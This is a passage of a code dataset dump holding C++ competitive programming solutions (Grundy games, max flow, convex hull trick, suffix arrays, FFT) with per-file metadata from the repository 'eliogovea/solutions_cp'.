grundy[x1][y1][px - 1][py - 1];\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\tif (px != x1 && py != y2) {\r\n\t\t\t\t\t\t\t\t\t_grundy ^= grundy[x1][py + 1][px - 1][y2];\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\tif (px != x2 && py != y1) {\r\n\t\t\t\t\t\t\t\t\t_grundy ^= grundy[px + 1][y1][x2][py - 1];\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\tif (px != x2 && py != y2) {\r\n\t\t\t\t\t\t\t\t\t_grundy ^= grundy[px + 1][py + 1][x2][y2];\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tused[_grundy] = id;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\tgrundy[x1][y1][x2][y2] = 0;\r\n\t\t\t\t\twhile (used[grundy[x1][y1][x2][y2]] == id) {\r\n\t\t\t\t\t\tgrundy[x1][y1][x2][y2]++;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcout << ((grundy[0][0][n - 1][m - 1] != 0) ? \"WIN\" : \"LOSE\") << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3090277910232544, "alphanum_fraction": 0.3680555522441864, "avg_line_length": 14, "blob_id": "98635d18a978b8d1b7e8b8456d76ced6bfd475c3", "content_id": "733ac073746fbfcdda19ecae282e1e2e3c632703", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 288, "license_type": "no_license", "max_line_length": 31, "num_lines": 18, "path": "/COJ/eliogovea-cojAC/eliogovea-p2729-Accepted-s580332.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\nusing namespace std;\r\n\r\nint n, a[50], b[50];\r\n\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d\", &n);\r\n\ta[0] = 1; b[0] = 0;\r\n\ta[1] = 0; b[1] = 1;\r\n\tfor (int i = 2; i <= n; i++)\r\n\t{\r\n\t\ta[i] = a[i - 1] + a[i - 2];\r\n\t\tb[i] = b[i - 1] + b[i - 2];\r\n\t}\r\n\tprintf(\"%d %d\\n\", a[n], b[n]);\r\n}\r\n" }, { "alpha_fraction": 0.42326733469963074, "alphanum_fraction": 0.4381188154220581, "avg_line_length": 15.565217018127441, "blob_id": "2e12baa1c4f764f0904d8da66898bec494ec7fc1", "content_id": "85d412c0e931d6196bebb2700f18bd0d7df635d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 404, "license_type": "no_license", "max_line_length": 48, "num_lines": 23, "path": "/COJ/eliogovea-cojAC/eliogovea-p3320-Accepted-s986933.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tlong long n, m;\r\n\twhile (cin >> n >> m) {\r\n\t\tif (n == 0LL && m == 0LL) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tlong long cur = 1;\r\n\t\tlong long ans = (m + n) * (m - n + 1LL) / 2LL;\r\n\t\twhile (cur * cur <= m) {\r\n\t\t\tif (cur * cur >= n) {\r\n\t\t\t\tans -= cur * cur;\r\n\t\t\t}\r\n\t\t\tcur++;\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.41489362716674805, "alphanum_fraction": 0.43284574151039124, "avg_line_length": 16.341463088989258, "blob_id": "217308808d1a0383e01a3b99873703edc3fd7642", "content_id": "9da57f82c8698a62d775eb2de443655e2647d19b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1504, "license_type": "no_license", "max_line_length": 63, "num_lines": 82, "path": "/COJ/eliogovea-cojAC/eliogovea-p2238-Accepted-s905056.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 50005;\r\n\r\nstruct Rect {\r\n\tint w, h;\r\n};\r\n\r\nbool operator < (const Rect &a, const Rect &b) {\r\n\tif (a.w != b.w) return a.w < b.w;\r\n\treturn a.h > b.h;\r\n}\r\nstruct Line {\r\n\t\tlong long m, n;\r\n\t\tlong long y(long long x) {\r\n\t\t\treturn m * x + n;\r\n\t\t}\r\n\t};\r\n\r\nstruct ConvexHullTrick {\r\n\tLine ch[N];\r\n\tint size;\r\n\tvoid clear() {\r\n\t\tsize = 0;\r\n\t}\r\n\tbool ok(Line a, Line b, Line c) {\r\n\t\t// (a.n - c.n) / (c.m - a.m)\r\n\t\t// (b.n - c.n) / (c.m - b.m)\r\n\t\treturn (b.n - c.n) * (c.m - a.m) > (a.n - c.n) * (c.m - b.m);\r\n\t}\r\n\tvoid add(Line l) {\r\n\t\twhile (size > 1 && !ok(ch[size - 2], ch[size - 1], l)) {\r\n\t\t\tsize--;\r\n\t\t}\r\n\t\tch[size++] = l;\r\n\t}\r\n\tlong long get_min(long long x) {\r\n\t\tint lo = 1;\r\n\t\tint hi = size - 1;\r\n\t\tint pos = 0;\r\n\t\twhile (lo <= hi) {\r\n\t\t\tint mid = (lo + hi) >> 1;\r\n\t\t\tif (ch[mid].y(x) <= ch[mid - 1].y(x)) {\r\n\t\t\t\tpos = mid;\r\n\t\t\t\tlo = mid + 1;\r\n\t\t\t} else {\r\n\t\t\t\thi = mid - 1;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn ch[pos].y(x);\r\n\t}\r\n} CH;\r\n\r\nint n;\r\nRect a[N];\r\nlong long dp[N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> a[i].w >> a[i].h;\r\n\t}\r\n\tsort(a, a + n);\r\n\tint top = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\twhile (top > 0 && a[i].h >= a[top - 1].h) {\r\n\t\t\ttop--;\r\n\t\t}\r\n\t\ta[top++] = a[i];\r\n\t}\r\n\tCH.clear();\r\n\tCH.add((Line) {a[0].h, 0});\r\n\tfor (int i = 0; i < top; i++) {\r\n\t\tdp[i] = CH.get_min(a[i].w);\r\n\t\tCH.add((Line) {a[i + 1].h, dp[i]});\r\n\t}\r\n\tcout << dp[top - 1] << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3981288969516754, "alphanum_fraction": 0.42307692766189575, "avg_line_length": 21.75308609008789, "blob_id": "8d69334913d7526cd7e5229fd50520aa9cfe6340", "content_id": "b186aea8aa860a1553dfee9b90fd2e34e4d74321", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1924, "license_type": "no_license", "max_line_length": 87, "num_lines": 81, "path": "/COJ/eliogovea-cojAC/eliogovea-p1560-Accepted-s656612.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 2005, MAXM = 2000100;\r\n\r\nint tc, n, m;\r\nint ady[MAXM], cap[MAXM], flow[MAXM], next[MAXM], last[MAXN], E, now[MAXN];\r\nint s, t, lev[MAXN];\r\nint Q[MAXN + 5], qh, qt;\r\nbool mark[MAXN][MAXN];\r\n\r\ninline void addEdge(int a, int b, int c) {\r\n\tady[E] = b; cap[E] = c; flow[E] = 0; next[E] = last[a]; last[a] = E++;\r\n\tady[E] = a; cap[E] = 0; flow[E] = 0; next[E] = last[b]; last[b] = E++;\r\n}\r\n\r\nbool bfs() {\r\n for (int i = 1; i <= 2 * n; i++) lev[i] = 0;\r\n\tlev[s] = 1;\r\n\tqh = qt = 0;\r\n\tQ[qt++] = s;\r\n\tint u;\r\n\twhile (qt > qh) {\r\n\t\tu = Q[qh++];\r\n\t\tfor (int e = last[u]; e != -1; e = next[e])\r\n\t\t\tif (cap[e] > flow[e] && !lev[ady[e]]) {\r\n\t\t\t\tlev[ady[e]] = lev[u] + 1;\r\n\t\t\t\tQ[qt++] = ady[e];\r\n\t\t\t}\r\n\t}\r\n\treturn lev[t];\r\n}\r\n\r\nint dfs(int u, int cur) {\r\n\tif (u == t) return cur;\r\n\tfor (int e = now[u], r; e != -1; e = now[u] = next[e])\r\n\t\tif (cap[e] > flow[e] && lev[ady[e]] == lev[u] + 1) {\r\n\t\t\tr = dfs(ady[e], min(cur, cap[e] - flow[e]));\r\n\t\t\tif (r > 0) {\r\n\t\t\t\tflow[e] += r;\r\n\t\t\t\tflow[e ^ 1] -= r;\r\n\t\t\t\treturn r;\r\n\t\t\t}\r\n\t\t}\r\n\treturn 0;\r\n}\r\n\r\nint maxFlow() {\r\n\tint tot = 0, f;\r\n\twhile (bfs()) {\r\n\t\tfor (int i = 1; i <= 2 * n; i++) now[i] = last[i];\r\n\t\twhile ((f = dfs(s, 1 << 29)) > 0) tot += f;\r\n\t}\r\n\treturn tot;\r\n}\r\n\r\nint main() {\r\n //freopen(\"e.in\", \"r\", stdin);\r\n scanf(\"%d\", &tc);\r\n\twhile (tc--) {\r\n scanf(\"%d%d%d%d\", &n, &m, &s, &t);\r\n\t\tE = 0;\r\n\t\tt += n;\r\n\t\tfor (int i = 1; i <= n; i++)\r\n for (int j = 1; j <= n; j++)\r\n mark[i][j] = mark[j][i] = false;\r\n\t\tfor (int i = 1; i <= 2 * n; i++) last[i] = -1;\r\n\t\tfor (int i = 1; i <= n; i++) addEdge(i, n + i, (i == s || n + i == t) ? 1 << 29 : 1);\r\n\t\tfor (int i = 1, a, b; i <= m; i++) {\r\n\t\t\tscanf(\"%d%d\", &a, &b);\r\n\t\t\tif (!mark[a][b]) {\r\n addEdge(n + a, b, 1);\r\n addEdge(n + b, a, 1);\r\n\t\t\t}\r\n\t\t\tmark[a][b] = mark[b][a] = true;\r\n\t\t}\r\n\t\tprintf(\"%d\\n\", maxFlow());\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3388773500919342, "alphanum_fraction": 0.3762993812561035, "avg_line_length": 16.576923370361328, "blob_id": "c63597443d1e5850095c0cacb9f34ebf26749902", "content_id": "ce791ffc8077f559590e504d16f6c56df7e28d08", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 481, "license_type": "no_license", "max_line_length": 62, "num_lines": 26, "path": "/COJ/eliogovea-cojAC/eliogovea-p2858-Accepted-s620087.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nstring str;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll mod = 1000000007;\r\nll n;\r\n\r\nint main()\r\n{\r\n cin >> str;\r\n\r\n for (int i = 0; ;) {\r\n if (str[i] == '0' || str[i] == '1') {\r\n while (str[i] == '0' || str[i] == '1')\r\n n = ((2 * n) % mod + str[i] - '0') % mod, i++;\r\n cout << n;\r\n n = 0ll;\r\n }\r\n else if (!str[i]) break;\r\n else cout << str[i], i++;\r\n }\r\n}" }, { "alpha_fraction": 0.43097642064094543, "alphanum_fraction": 0.4427609443664551, "avg_line_length": 17.161291122436523, "blob_id": "6b7e0c144f610efd11702a075f750222d704398d", "content_id": "b8d375623f5ae218f960d095767e55bed21a0c85", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 594, "license_type": "no_license", "max_line_length": 45, "num_lines": 31, "path": "/COJ/eliogovea-cojAC/eliogovea-p1865-Accepted-s659034.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <map>\r\n\r\nusing namespace std;\r\n\r\nint n, m;\r\nstring W, P, aux;\r\nmap<string, int> M;\r\nmap<string, int>::iterator it;\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0); cout.tie(0);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> W;\r\n\t\tfor (int i = 0; W[i]; i++)\r\n\t\t\tfor (int j = 0; j <= i; j++) {\r\n aux.clear();\r\n\t\t\t\tfor (int k = j; k <= i; k++) aux += W[k];\r\n\t\t\t\tM[aux]++;\r\n\t\t\t}\r\n\t}\r\n\tcin >> m;\r\n\tfor (int i = 0; i < m; i++) {\r\n\t\tcin >> P;\r\n\t\tit = M.find(P);\r\n\t\tif (it == M.end()) cout << \"0\\n\";\r\n\t\telse cout << it->second << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.417897492647171, "alphanum_fraction": 0.4517810642719269, "avg_line_length": 19.716981887817383, "blob_id": "1da51c7e095a5dcff224db2fdce10acee9a85876", "content_id": "d05e018a009f2c68ec75ff00977b3dcd143ddb58", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1151, "license_type": "no_license", "max_line_length": 77, "num_lines": 53, "path": "/COJ/eliogovea-cojAC/eliogovea-p1459-Accepted-s636570.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 100005, LOGMAXN = 19;\r\n\r\nint N, cnt, stp;\r\nstring str;\r\n\r\nstruct entry {\r\n\tint nr[2], p;\r\n} L[MAXN];\r\n\r\nint P[LOGMAXN][MAXN], suffix_array[MAXN];\r\n\r\npair<int, int> v[MAXN];\r\n\r\nbool cmp(entry a, entry b) {\r\n\tif (a.nr[0] != b.nr[0]) return a.nr[0] < b.nr[0];\r\n\treturn a.nr[1] < b.nr[1];\r\n}\r\n\r\nvoid build(string &str) {\r\n\tN = str.size();\r\n\tfor (int i = 0; i < N; i++)\r\n\t\tP[0][i] = str[i] - 'a';\r\n\tfor (stp = 1, cnt = 1; (cnt >> 1) < N; stp++, cnt <<= 1) {\r\n\t\tfor (int i = 0; i < N; i++) {\r\n\t\t\tL[i].nr[0] = P[stp - 1][i];\r\n\t\t\tL[i].nr[1] = P[stp - 1][(i + cnt) % N];\r\n\t\t\tL[i].p = i;\r\n\t\t}\r\n\t\tsort(L, L + N, cmp);\r\n\t\tfor (int i = 0; i < N; i++) {\r\n\t\t\tif (i > 0 && L[i].nr[0] == L[i - 1].nr[0] && L[i].nr[1] == L[i - 1].nr[1])\r\n\t\t\t\tP[stp][L[i].p] = P[stp][L[i - 1].p];\r\n\t\t\telse P[stp][L[i].p] = i;\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i < N; i++)\r\n\t\tv[i] = make_pair(P[stp - 1][i], i);\r\n\tsort(v, v + N);\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin >> str;\r\n\tbuild(str);\r\n\tint k = N - 1;\r\n\twhile (k && v[k].first == v[k - 1].first) k--;\r\n\tcout << v[k].second << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.4254606366157532, "alphanum_fraction": 0.4639866054058075, "avg_line_length": 14.583333015441895, "blob_id": "ff5c2c1422cd6165d703306954e50fd53c49bd95", "content_id": "b30c5c313280445f2689ed8ca2e591835582fc0d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 597, "license_type": "no_license", "max_line_length": 28, "num_lines": 36, "path": "/COJ/eliogovea-cojAC/eliogovea-p2700-Accepted-s550458.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#define MAXL 30\r\n\r\nchar word[MAXL];\r\nint w1[MAXL],w2[MAXL];\r\n\r\nint main()\r\n{\r\n\tscanf(\"%s\", word);\r\n\r\n\tfor(char *p=word; *p; p++)\r\n\t\tw1[*p-'A']=1;\r\n\r\n\tscanf(\"%s\", word);\r\n\r\n\tfor(char *p=word; *p; p++)\r\n\t\tw2[*p-'A']=1;\r\n\r\n\tprintf(\"First:\");\r\n\tfor(int i=0; i<26; i++)\r\n\t\tif(w1[i] && !w2[i])\r\n\t\t\tprintf(\"%c\",char(i)+'A');\r\n\tprintf(\"\\n\");\r\n\r\n\tprintf(\"Second:\");\r\n\tfor(int i=0; i<26; i++)\r\n\t\tif(w2[i] && !w1[i])\r\n\t\t\tprintf(\"%c\",char(i)+'A');\r\n\tprintf(\"\\n\");\r\n\r\n\tprintf(\"First&Second:\");\r\n\tfor(int i=0; i<26; i++)\r\n\t\tif(w1[i] && w2[i])\r\n\t\t\tprintf(\"%c\",char(i)+'A');\r\n\tprintf(\"\\n\");\r\n}\r\n" }, { "alpha_fraction": 0.38615384697914124, "alphanum_fraction": 0.446153849363327, "avg_line_length": 17.696969985961914, "blob_id": "a667bc6a24e3123efeea50f65c90e7f28346549f", "content_id": "272d3ac4bcb2c86bd0a1e4137fa99b28310cf9af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 650, "license_type": "no_license", "max_line_length": 57, "num_lines": 33, "path": "/COJ/eliogovea-cojAC/eliogovea-p2261-Accepted-s494963.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\nusing namespace std;\r\nbool sieve[2311];\r\n\r\nvector<int> p;\r\nint n,cp[2311],x;\r\n\r\nint main()\r\n{\r\n for(int i=2; i<=2310; i++)sieve[i]=1;\r\n\r\n for(int i=2; i*i<=2310; i++)\r\n if(sieve[i])\r\n for(int j=i*i; j<=2310; j+=i)sieve[j]=0;\r\n\r\n for(int i=2; i<=2310; i++)if(sieve[i])p.push_back(i);\r\n\r\n for(int i=0; i<p.size(); i++)\r\n for(int j=p[i]; j<=2310; j+=p[i])cp[j]++;\r\n\r\n scanf(\"%d\",&n);\r\n bool b=1;\r\n for(int i=0; i<n; i++)\r\n {\r\n scanf(\"%d\",&x);\r\n if(cp[x]<3)\r\n b=0;\r\n }\r\n if(b)printf(\"YES\\n\");\r\n else printf(\"NO\\n\");\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.4685777425765991, "alphanum_fraction": 0.5049614310264587, "avg_line_length": 17.89583396911621, "blob_id": "d2c47a4f39a83f9de6ab4f8c8d4f1e8ebc8b0814", "content_id": "1ba06ff5fed0067ffa454b549df1bd94600cb5a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 907, "license_type": "no_license", "max_line_length": 115, "num_lines": 48, "path": "/Codeforces-Gym/101116 - 2016-2017 CT S03E05: Codeforces Trainings Season 3 Episode 5 (2016 Stanford Local Programming Contest, Extended)/H.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E05: Codeforces Trainings Season 3 Episode 5 (2016 Stanford Local Programming Contest, Extended)\n// 101116H\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nstruct pt {\n\tint x, y;\n\tpt() {}\n\tpt(int _x, int _y) : x(_x), y(_y) {}\n};\n\npt operator - (const pt &a, const pt &b) {\n\treturn pt(a.x - b.x, a.y - b.y);\n}\n\nbool operator < (const pt &a, const pt &b) {\n\tif (a.y != b.y) {\n\t\treturn a.y < b.y;\n\t}\n\treturn a.x < b.x;\n}\n\nint cross(const pt &a, const pt &b) {\n\treturn a.x * b.y - a.y * b.x;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tint t;\n\tcin >> t;\n\twhile (t--) {\n\t\tint n;\n\t\tcin >> n;\n\t\tvector <pt> p(n);\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> p[i].x >> p[i].y;\n\t\t}\n\t\tint area = 0;\n\t\tfor (int i = 1; i + 1 < n; i++) {\n area += cross(p[i] - p[0], p[i + 1] - p[0]);\n\t\t}\n\t\tcout << (area > 0 ? \"fight\" : \"run\") << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.3704414665699005, "alphanum_fraction": 0.3896353244781494, "avg_line_length": 14.757575988769531, "blob_id": "2157f7ace20f50d632ace6c1beb03cff966a936c", "content_id": "dbe4eadd60bcda4da5177ff307c75935d7101401", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 521, "license_type": "no_license", "max_line_length": 44, "num_lines": 33, "path": "/Codechef/WDTBAM.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nint t;\nint n;\nstring a, b;\nint w[1005];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> n >> a >> b;\n\t\tint cnt = 0;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcnt += (a[i] == b[i]);\n\t\t}\n\t\tint ans = 0;\n\t\tfor (int i = 0; i <= n; i++) {\n\t\t\tcin >> w[i];\n\t\t}\n\t\tif (cnt == n) {\n ans = w[n];\n\t\t} else {\n for (int i = 0; i <= cnt; i++) {\n ans = max(ans, w[i]);\n }\n\t\t}\n\t\tcout << ans << \"\\n\";\n\t}\n}\n\n" }, { "alpha_fraction": 0.32478633522987366, "alphanum_fraction": 0.3632478713989258, "avg_line_length": 18.89285659790039, "blob_id": "a0c692880bc3c7a4ff9a6a289f8c5e90f3b110cd", "content_id": "92e1fff0ce5c92522e02e756e65984cb59bd7578", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1170, "license_type": "no_license", "max_line_length": 61, "num_lines": 56, "path": "/COJ/eliogovea-cojAC/eliogovea-p3633-Accepted-s1009538.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nlong long n;\r\nint k;\r\nint pos[25];\r\n\r\nint rem[70];\r\n\r\nlong long dp[25][25][10];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\trem[0] = 1;\r\n\tfor (int i = 1; i <= 65; i++) {\r\n\t\trem[i] = (rem[i - 1] * 2) % 7;\r\n\t}\r\n\twhile (cin >> n) {\r\n\t\tcin >> k;\r\n\t\tint ones = 0;\r\n\t\tfor (int i = 0; i < k; i++) {\r\n cin >> pos[i];\r\n\t\t\tif (n & (1LL << pos[i])) {\r\n\t\t\t\tones++;\r\n\t\t\t\tn ^= (1LL << pos[i]);\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int l = 0; l <= k; l++) {\r\n\t\t\tfor (int o = 0; o <= ones; o++) {\r\n\t\t\t\tfor (int r = 0; r < 7; r++) {\r\n\t\t\t\t\tdp[l][o][r] = -1LL;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tdp[0][0][n % 7LL] = n;\r\n\t\tfor (int l = 0; l < k; l++) {\r\n\t\t\tfor (int o = 0; o <= ones && o <= l; o++) {\r\n\t\t\t\tfor (int r = 0; r < 7; r++) {\r\n\t\t\t\t\tif (dp[l][o][r] != -1LL) {\r\n\t\t\t\t\t\t///zero\r\n\t\t\t\t\t\tdp[l + 1][o][r] = max(dp[l + 1][o][r], dp[l][o][r]);\r\n\t\t\t\t\t\tif (o < ones) {\r\n\t\t\t\t\t\t\tint nr = (r + rem[pos[l]]) % 7;\r\n\t\t\t\t\t\t\tlong long tmp = dp[l][o][r] + (1LL << pos[l]);\r\n\t\t\t\t\t\t\tdp[l + 1][o + 1][nr] = max(dp[l + 1][o + 1][nr], tmp);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n \t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << dp[k][ones][0] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.37108954787254333, "alphanum_fraction": 0.4239482283592224, "avg_line_length": 15.263157844543457, "blob_id": "5a12a05f045c910d4897b66bb1c27c9b76647624", "content_id": "673bfe4dfebbddc06de471ff34b4074c952faf44", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 927, "license_type": "no_license", "max_line_length": 48, "num_lines": 57, "path": "/Codeforces-Gym/100719 - 2014-2015 CTU Open Contest/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CTU Open Contest\n// 100719G\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint t;\nstring s;\nstring ans;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\twhile (cin >> s) {\n if (s == \"11\") {\n cout << \"0\\n\";\n continue;\n }\n\t\tans.clear();\n\t\treverse(s.begin(), s.end());\n\t\tif (s.size() & 1) s += '0';\n\t\ts += \"000000\";\n\t\tint pos = 0;\n\t\tbool sum = true;\n\t\twhile (pos < s.size()) {\n\t\t\tstring tmp; tmp += s[pos]; tmp += s[pos + 1];\n\t\t\tif (!sum) {\n\t\t\t\tans += tmp;\n\t\t\t\tpos += 2;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (tmp == \"10\") {\n\t\t\t\tans += \"01\";\n\t\t\t}\n\t\t\tif (tmp == \"01\") {\n\t\t\t\tans += \"11\";\n\t\t\t\tsum = false;\n\t\t\t}\n\t\t\tif (tmp == \"11\") {\n\t\t\t\tans += \"00\";\n\t\t\t\tsum = false;\n\t\t\t}\n\t\t\tif (tmp == \"00\") {\n\t\t\t\tans += \"10\";\n\t\t\t\tsum = false;\n\t\t\t}\n\t\t\tpos += 2;\n\t\t}\n\t\tpos = ans.size() - 1;\n\t\twhile (ans[pos] == '0') pos--;\n\t\tfor (int i = pos; i >= 0; i--) {\n\t\t\tcout << ans[i];\n\t\t}\n\t\tcout << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.4347110688686371, "alphanum_fraction": 0.4571252167224884, "avg_line_length": 18.070589065551758, "blob_id": "8aefa83aae57569e2d24e0211a2296a68aa4b13a", "content_id": "41bb7a1a805b8abebf88e719fa957782d6fb443b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4863, "license_type": "no_license", "max_line_length": 85, "num_lines": 255, "path": "/Caribbean-Training-Camp-2018/Contest_4/Solutions/F4.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\ntypedef complex<long double> Complex;\ntypedef vector<Complex> poly;\nconst long double PI = acos(-1);\ntypedef long long ll;\nint a;\nint b, b_pow;\npoly Pow[30];\n\nvoid normalize( poly &a ){\n\tint n = a.size();\n\tfor( int i = 0; i < n; i++ ){\n\t\ta[i] = Complex( (ll)round(real( a[i] )), 0.0 );\n\t\tll x = round( a[i].real() );\n\t\tif( x >= b ){\n\t\t\tif( i+1 == n ){\n\t\t\t\ta.push_back( x/b );\n\t\t\t\tn++;\n\t\t\t}\n\t\t\telse\n\t\t\t\ta[i+1] = Complex( (ll)round( a[i+1].real() ) + x/b, 0.0 );\n\t\t\tx %= b;\n\t\t\ta[i] = Complex(x,0.0);\n\t\t}\n\t}\n\twhile( a.size() > 1 && (ll)round(a.back().real()) == 0 ) a.pop_back();\n\ta.push_back(0);\n\ta.push_back(0);\n\n}\n\nvoid fft( vector<Complex> &a, int dir ){\n\tint n = a.size();\n\tint lg = 0;\n\twhile( n > (1<<lg) ) lg++;\n\tn = 1<<lg;\n\ta.resize( n );\n\t//assert( n == (1<<lg) );\n\n\tfor( int i = 0; i < n; i++ ){\n\t\tint pos = 0;\n\t\tfor( int j = 0; j < lg; j++ ){\n\t\t\tpos <<= 1;\n\t\t\tpos |= (i>>j) & 1;\n\t\t}\n\t\tif( i < pos )\n\t\t\tswap( a[i], a[pos] );\n\t}\n\tComplex w, wn, u, t;\n\tfor( int i = 1; i <= lg; i++ ){\n\t\tint m = 1<<i;\n\t\tint k = m>>1;\n\t\twn = Complex( cos( 2.0*dir*PI/(long double)m ), sin( 2.0*dir*PI/(long double)m ) );\n\t\tfor( int j = 0; j < n; j+= m ){\n\t\t\tw = Complex(1.0,0);\n\t\t\tfor( int l = j; l < j+k; l++ ){\n\t\t\t\tt = w * a[l+k];\n\t\t\t\tu = a[l];\n\t\t\t\ta[l] = u + t;\n\t\t\t\ta[l+k] = u - t;\n\t\t\t\tw *= wn;\n\t\t\t}\n\t\t\n\t\t}\n\t}\n\n\tif( dir == -1 ){\n\t\tfor( int i = 0; i < n; i++ )\n\t\t\ta[i] /= (double)n;\n\t}\n}\nvoid mult_base( vector<Complex> P, vector<Complex> &R ){\n\tint n = 2*P.size() -1;\n\tint lg = 0;\n\twhile( n > (1<<lg) ) lg++;\n\tn = 1<<lg;\n\tP.resize( n );\n\tfft( P, 1 );\n\tR.resize( n );\n\tfor( int i = 0; i < n; i++ )\n\t\tR[i] = P[i] * P[i];\n\tfft( R, -1 );\n\n\n}\nvoid mult( vector<Complex> &P, vector<Complex> Q ){\n\tif( !P.size() ){\n\t\tP.push_back( Complex(0.0,0.0) );\n\t\t//cerr << \"NULL poly\" << endl;\n\t}\n\tif( !Q.size() ){\n\t\tQ.push_back( 0.0 );\n\t}\n\tint n = P.size() + Q.size()-1;\n\tint lg = 0;\n\twhile( n > (1<<lg) ) lg++;\n\tn = 1<<lg;\n\t//cerr << \"n: \" << n << endl;\n\tP.resize( n );\n\tQ.resize( n );\n\tfft( P, 1 );\n\tfft( Q, 1 );\n\tfor( int i = 0; i < n; i++ )\n\t\tP[i] *= Q[i];\n\t/*cerr << \"R: \";\n\tcopy( 